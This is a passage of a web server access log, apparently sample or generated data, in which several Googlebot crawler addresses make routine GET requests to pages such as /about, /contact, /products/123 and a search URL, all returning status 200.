66.249.66.1 - - [22/Aug/2025:10:03:01 ] "GET /products/123 HTTP/1.1" 200 7362 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:01 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:03:01 ] "GET /search?q=gemini HTTP/1.1" 200 10375 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:01 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:03:01 ] "GET / HTTP/1.1" 200 9956 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:01 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:03:01 ] "GET /products/123 HTTP/1.1" 200 6978 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:02 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:03:02 ] "GET /blog/latest-news HTTP/1.1" 200 12986 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:02 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:03:02 ] "GET /contact HTTP/1.1" 200 10822 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:04 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:03:04 ] "GET /api/v1/user/42 HTTP/1.1" 200 9969 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:04 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:03:04 ] "GET /products/123 HTTP/1.1" 200 7289 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:05 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:03:05 ] "GET /contact HTTP/1.1" 200 11761 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:05 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:03:05 ] "GET / HTTP/1.1" 200 5709 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:05 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:03:05 ] "GET /search?q=gemini HTTP/1.1" 200 7167 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:06 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:03:06 ] "GET /contact HTTP/1.1" 200 10355 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:06 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:03:06 ] "GET /contact HTTP/1.1" 200 5286 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:06 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:03:06 ] "GET /search?q=gemini HTTP/1.1" 200 13587 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:06 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:03:06 ] "GET /contact HTTP/1.1" 200 14226 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:07 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:03:07 ] "GET /products/123 HTTP/1.1" 200 6201 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:07 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:03:07 ] "GET /about HTTP/1.1" 200 12360 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:07 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:03:07 ] "GET /contact HTTP/1.1" 200 14008 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:07 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:03:07 ] "GET /contact HTTP/1.1" 200 5491 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:07 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:03:07 ] "GET /api/v1/user/42 HTTP/1.1" 200 6410 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:08 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:03:08 ] "GET /about HTTP/1.1" 200 9712 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:08 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:03:08 ] "GET /contact HTTP/1.1" 200 5711 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:08 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:03:08 ] "GET / HTTP/1.1" 200 9612 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:09 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:03:09 ] "GET / HTTP/1.1" 200 8664 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:10 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:03:10 ] "GET /search?q=gemini HTTP/1.1" 200 10648 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:10 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:03:10 ] "GET /products/123 HTTP/1.1" 200 8601 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:10 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:03:10 ] "GET /search?q=gemini HTTP/1.1" 200 11079 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:11 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:03:11 ] "GET / HTTP/1.1" 200 8036 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:12 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:03:12 ] "GET /blog/latest-news HTTP/1.1" 200 10321 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:12 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:03:12 ] "GET / HTTP/1.1" 200 5665 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:12 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:03:12 ] "GET /api/v1/user/42 HTTP/1.1" 200 13030 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:12 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:03:12 ] "GET /blog/latest-news HTTP/1.1" 200 7182 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:13 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:03:13 ] "GET /api/v1/user/42 HTTP/1.1" 200 8696 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:13 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:03:13 ] "GET /contact HTTP/1.1" 200 11778 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:13 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:03:13 ] "GET /products/123 HTTP/1.1" 200 13924 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:13 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:03:13 ] "GET /about HTTP/1.1" 200 6764 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:13 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:03:13 ] "GET /api/v1/user/42 HTTP/1.1" 200 11844 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:13 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:03:13 ] "GET /products/123 HTTP/1.1" 200 9109 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:14 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:03:14 ] "GET / HTTP/1.1" 200 10968 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:14 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:03:14 ] "GET / HTTP/1.1" 200 12218 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:14 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:03:14 ] "GET /blog/latest-news HTTP/1.1" 200 12322 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:15 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:03:15 ] "GET /about HTTP/1.1" 200 11234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:15 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:03:15 ] "GET /contact HTTP/1.1" 200 9411 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:15 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:03:15 ] "GET /products/123 HTTP/1.1" 200 10343 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:16 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:03:16 ] "GET /about HTTP/1.1" 200 9067 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:16 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:03:16 ] "GET /api/v1/user/42 HTTP/1.1" 200 9022 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:16 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:03:16 ] "GET / HTTP/1.1" 200 5493 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:17 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:03:17 ] "GET /contact HTTP/1.1" 200 6592 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:17 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:03:17 ] "GET /about HTTP/1.1" 200 9264 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:17 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:03:17 ] "GET / HTTP/1.1" 200 11406 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:17 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:03:17 ] "GET /search?q=gemini HTTP/1.1" 200 13180 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:18 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:03:18 ] "GET / HTTP/1.1" 200 8624 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:18 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:03:18 ] "GET /api/v1/user/42 HTTP/1.1" 200 9095 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:18 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:03:18 ] "GET /contact HTTP/1.1" 200 14478 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:19 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:03:19 ] "GET / HTTP/1.1" 200 6563 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:19 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:03:19 ] "GET / HTTP/1.1" 200 9880 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:19 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:03:19 ] "GET /blog/latest-news HTTP/1.1" 200 6901 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:19 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:03:19 ] "GET /contact HTTP/1.1" 200 7686 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:20 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:03:20 ] "GET /api/v1/user/42 HTTP/1.1" 200 8113 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:21 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:03:21 ] "GET /products/123 HTTP/1.1" 200 12809 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:21 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:03:21 ] "GET /search?q=gemini HTTP/1.1" 200 9499 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:21 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:03:21 ] "GET /api/v1/user/42 HTTP/1.1" 200 11436 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:22 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:03:22 ] "GET /api/v1/user/42 HTTP/1.1" 200 10459 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:22 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:03:22 ] "GET /blog/latest-news HTTP/1.1" 200 10264 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:22 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:03:22 ] "GET /products/123 HTTP/1.1" 200 7709 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:22 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:03:22 ] "GET /search?q=gemini HTTP/1.1" 200 10132 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:22 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:03:22 ] "GET / HTTP/1.1" 200 10561 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:23 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:03:23 ] "GET /about HTTP/1.1" 200 13582 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:23 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:03:23 ] "GET /blog/latest-news HTTP/1.1" 200 14922 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:23 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:03:23 ] "GET /products/123 HTTP/1.1" 200 8408 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:23 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:03:23 ] "GET /search?q=gemini HTTP/1.1" 200 5762 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:23 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:03:23 ] "GET /contact HTTP/1.1" 200 10243 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:25 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:03:25 ] "GET /api/v1/user/42 HTTP/1.1" 200 7657 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:25 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:03:25 ] "GET /products/123 HTTP/1.1" 200 13939 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:26 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:03:26 ] "GET /search?q=gemini HTTP/1.1" 200 13043 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:26 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:03:26 ] "GET /products/123 HTTP/1.1" 200 11949 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:26 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:03:26 ] "GET /products/123 HTTP/1.1" 200 9342 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:27 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:03:27 ] "GET /contact HTTP/1.1" 200 6201 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:27 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:03:27 ] "GET /api/v1/user/42 HTTP/1.1" 200 14378 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:28 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:03:28 ] "GET /about HTTP/1.1" 200 12837 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:28 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:03:28 ] "GET /products/123 HTTP/1.1" 200 12008 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:28 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:03:28 ] "GET /products/123 HTTP/1.1" 200 8583 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:29 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:03:29 ] "GET / HTTP/1.1" 200 10651 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:30 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:03:30 ] "GET /blog/latest-news HTTP/1.1" 200 11879 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:30 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:03:30 ] "GET /contact HTTP/1.1" 200 9692 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:30 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:03:30 ] "GET /products/123 HTTP/1.1" 200 11198 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:30 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:03:30 ] "GET / HTTP/1.1" 200 11865 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:31 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:03:31 ] "GET /contact HTTP/1.1" 200 8704 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:31 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:03:31 ] "GET /blog/latest-news HTTP/1.1" 200 13610 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:32 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:03:32 ] "GET /contact HTTP/1.1" 200 9090 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:32 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:03:32 ] "GET /about HTTP/1.1" 200 11938 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:33 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:03:33 ] "GET /about HTTP/1.1" 200 11202 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:33 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:03:33 ] "GET /search?q=gemini HTTP/1.1" 200 11696 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:33 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:03:33 ] "GET /about HTTP/1.1" 200 5368 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:33 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:03:33 ] "GET / HTTP/1.1" 200 13804 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:33 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:03:33 ] "GET /about HTTP/1.1" 200 11033 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:33 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:03:33 ] "GET /contact HTTP/1.1" 200 5841 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:34 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:03:34 ] "GET /about HTTP/1.1" 200 8465 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:34 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:03:34 ] "GET /contact HTTP/1.1" 200 6622 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:34 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:03:34 ] "GET /search?q=gemini HTTP/1.1" 200 6131 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:34 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:03:34 ] "GET /search?q=gemini HTTP/1.1" 200 9547 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:34 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:03:34 ] "GET /contact HTTP/1.1" 200 9691 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:35 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:03:35 ] "GET /about HTTP/1.1" 200 9094 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:36 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:03:36 ] "GET /about HTTP/1.1" 200 7127 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:36 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:03:36 ] "GET /blog/latest-news HTTP/1.1" 200 11658 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:36 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:03:36 ] "GET /api/v1/user/42 HTTP/1.1" 200 5451 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:36 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:03:36 ] "GET /search?q=gemini HTTP/1.1" 200 7494 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:36 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:03:36 ] "GET /products/123 HTTP/1.1" 200 12904 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:38 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:03:38 ] "GET /contact HTTP/1.1" 200 5990 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:39 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:03:39 ] "GET / HTTP/1.1" 200 10654 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:39 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:03:39 ] "GET /blog/latest-news HTTP/1.1" 200 11929 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:39 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:03:39 ] "GET /products/123 HTTP/1.1" 200 13438 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:39 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:03:39 ] "GET /contact HTTP/1.1" 200 10312 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:40 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:03:40 ] "GET /blog/latest-news HTTP/1.1" 200 11413 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:41 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:03:41 ] "GET /about HTTP/1.1" 200 11285 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:41 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:03:41 ] "GET /api/v1/user/42 HTTP/1.1" 200 7649 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:41 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:03:41 ] "GET /search?q=gemini HTTP/1.1" 200 9822 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:41 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:03:41 ] "GET /blog/latest-news HTTP/1.1" 200 8857 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:41 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:03:41 ] "GET /products/123 HTTP/1.1" 200 10486 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:42 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:03:42 ] "GET /blog/latest-news HTTP/1.1" 200 5976 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:42 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:03:42 ] "GET /products/123 HTTP/1.1" 200 12543 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:42 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:03:42 ] "GET /search?q=gemini HTTP/1.1" 200 14782 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:43 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:03:43 ] "GET /contact HTTP/1.1" 200 8378 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:43 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:03:43 ] "GET /products/123 HTTP/1.1" 200 10733 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:43 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:03:43 ] "GET /search?q=gemini HTTP/1.1" 200 5080 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:43 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:03:43 ] "GET /api/v1/user/42 HTTP/1.1" 200 7781 "-" "Googlebot/2.1 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(+http://www.google.com/bot.html)" +Aug 22 10:03:49 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:03:49 ] "GET /contact HTTP/1.1" 200 6442 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:49 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:03:49 ] "GET /search?q=gemini HTTP/1.1" 200 11961 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:50 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:03:50 ] "GET /blog/latest-news HTTP/1.1" 200 6990 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:50 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:03:50 ] "GET / HTTP/1.1" 200 7011 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:51 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:03:51 ] "GET /api/v1/user/42 HTTP/1.1" 200 8345 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:52 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:03:52 ] "GET / HTTP/1.1" 200 13823 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:52 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:03:52 ] "GET /api/v1/user/42 HTTP/1.1" 200 5715 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:52 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:03:52 ] "GET /search?q=gemini HTTP/1.1" 200 12944 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:52 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:03:52 ] "GET /blog/latest-news HTTP/1.1" 200 13530 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:52 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:03:52 ] "GET /products/123 HTTP/1.1" 200 11122 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:52 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:03:52 ] "GET /products/123 HTTP/1.1" 200 14935 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:52 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:03:52 ] "GET / HTTP/1.1" 200 8075 "-" "Googlebot/2.1 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(+http://www.google.com/bot.html)" +Aug 22 10:03:55 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:03:55 ] "GET /about HTTP/1.1" 200 11222 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:55 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:03:55 ] "GET /contact HTTP/1.1" 200 8630 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:55 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:03:55 ] "GET /products/123 HTTP/1.1" 200 10696 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:56 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:03:56 ] "GET /products/123 HTTP/1.1" 200 10156 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:56 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:03:56 ] "GET / HTTP/1.1" 200 12620 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:56 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:03:56 ] "GET /contact HTTP/1.1" 200 13504 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:57 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:03:57 ] "GET / HTTP/1.1" 200 7267 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:58 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:03:58 ] "GET /contact HTTP/1.1" 200 11219 "-" "Googlebot/2.1 